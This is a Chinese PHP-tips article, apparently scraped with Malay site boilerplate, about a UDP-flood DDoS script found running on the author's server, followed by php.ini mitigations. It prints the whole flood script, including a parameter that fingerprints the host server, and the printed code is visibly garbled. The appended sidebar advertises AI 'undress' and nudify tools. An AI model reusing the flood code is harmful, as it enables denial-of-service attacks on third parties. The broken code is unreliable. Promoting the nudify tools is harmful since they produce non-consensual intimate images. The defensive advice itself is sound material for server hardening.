php的ddos攻击解决方法_php技巧
本文实例讲述了php的ddos攻击解决方法。分享给大家供大家参考。具体分析如下:
今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.
先看源码,代码如下:
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
if (StrLen($_GET['rat'])0){
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
echo "Parameters can not be empty!";
exit;
}
for($i=0;$i $out .= "A";
}
$max_time = time()+$exec_time;
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Send Host:$host:$port
";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb
";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>
关键代码在于如下:
方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.
这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen请求外部,那就不让他请求.
php.ini里设置,代码如下:
如果这样他还是能发包,代码如下:
extension=php_sockets.dll
改成
;extension=php_sockets.dll
重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.
另外有网友说,让脚本不允许设置为不超时很简单:
1. 把set_time_limit函数禁用
2. 启用PHP的安全模式(safe_mode=on).
禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS.
经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.
希望本文所述对大家的php程序设计有所帮助。

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas

DeepSeek: Bagaimana menangani AI yang popular yang sesak dengan pelayan? Sebagai AI panas pada tahun 2025, DeepSeek adalah sumber percuma dan terbuka dan mempunyai prestasi yang setanding dengan versi rasmi OpenAIO1, yang menunjukkan popularitinya. Walau bagaimanapun, kesesuaian yang tinggi juga membawa masalah kesibukan pelayan. Artikel ini akan menganalisis sebab -sebab dan menyediakan strategi mengatasi. DeepSeek Web Version Masuk: https://www.deepseek.com/deepseek Server Sibuk Sebab: Akses serentak yang tinggi: Ciri -ciri percuma dan berkuasa DeepSeek menarik sejumlah besar pengguna untuk digunakan pada masa yang sama, mengakibatkan beban pelayan yang berlebihan. Serangan Siber: Dilaporkan bahawa DeepSeek mempunyai kesan terhadap industri kewangan AS.

Bagaimana cara menyesuaikan pertukaran terbuka bijan ke bahasa Cina? Tutorial ini merangkumi langkah -langkah terperinci mengenai komputer dan telefon bimbit Android, dari penyediaan awal hingga proses operasi, dan kemudian menyelesaikan masalah biasa, membantu anda dengan mudah menukar antara muka pertukaran terbuka ke Cina dan cepat memulakan dengan platform perdagangan.

Langkah -langkah muat turun rasmi App Exchange Open Exchange meliputi proses muat turun sistem Android dan iOS, serta penyelesaian masalah biasa, membantu anda memuat turun dengan selamat dan cepat dan membolehkan transaksi cryptocurrency yang mudah.

Pengenalan terperinci kepada operasi log masuk versi Web Open Exchange, termasuk langkah masuk dan proses pemulihan kata laluan.

Apabila berdagang pada platform perdagangan mata wang digital, keadaan yang paling membimbangkan ialah penjual tidak melepaskan duit syiling selepas membeli mereka atau pembeli tidak dapat membayar. Kedua -dua situasi ini akan menjejaskan urus niaga seterusnya. Artikel ini akan memberi tumpuan kepada bagaimana pembeli tidak dapat membayar. Apa yang perlu saya lakukan jika saya tidak dapat membayar jika saya membeli duit syiling? Apabila menghadapi situasi di mana pembayaran tidak mungkin, anda harus terlebih dahulu menyemak kaedah pembayaran dan status akaun anda sendiri, dan kemudian sahkan sama ada rangkaian dan platform dagangan beroperasi secara normal. Sekiranya masalahnya tetap sama, menghubungi perkhidmatan pelanggan platform biasanya merupakan penyelesaian yang paling berkesan. Berikut adalah beberapa penyelesaian yang lebih terperinci: Masalah Kaedah Pembayaran: Sesetengah bank atau institusi kad kredit boleh menyekat urus niaga yang berkaitan dengan cryptocurrency, terutama pembayaran antarabangsa. Adalah disyorkan untuk cuba menghubungi bank atau syarikat kad kredit untuk sekatan dan mendapatkan pengangkatan sementara; atau menggunakan kaedah pembayaran lain.

Memahami sepenuhnya proses dan langkah berjaga -jaga untuk memadam akaun Binance! Artikel ini akan membimbing anda secara terperinci tentang cara memadam akaun Binance dan menyediakan perkara penting untuk diperiksa sebelum memadamkannya. Sebab -sebab untuk memadam Pengguna Analisis Akaun Binance boleh memilih untuk memadam akaun Binance untuk sebab -sebab berikut: Tiada kod cadangan diisi: Ramai pengguna tidak mengisi kod cadangan semasa mendaftar dan terlepas diskaun yuran pengendalian. Oleh kerana Binance tidak menyokong pengisian pasca mengisi, memadam akaun dan mendaftar semula adalah satu-satunya penyelesaian. Tukar pertukaran: Pengguna boleh memilih untuk menukar pertukaran kerana antara muka, fungsi atau prosedur pengesahan, dan memutuskan untuk memadamkan akaun Binance. Kebimbangan keselamatan: Pertukaran insiden keselamatan boleh menyebabkan pengguna bimbang dan memilih untuk memadam akaun untuk mengurangkan risiko. Pastikan anda mengesahkan proses memadam akaun Binance sebelum memadamkan akaun

Penerangan Masalah Apabila memanggil Alipay Easysdk menggunakan PHP, selepas mengisi parameter mengikut kod rasmi, mesej ralat dilaporkan semasa operasi: "Undefined ...

Selesaikan masalah antara muka pihak ketiga yang kembali 403 dalam persekitaran Node.js. Apabila kita menggunakan Node.js untuk memanggil antara muka pihak ketiga, kita kadang-kadang menghadapi kesilapan 403 dari antara muka yang kembali 403 ...
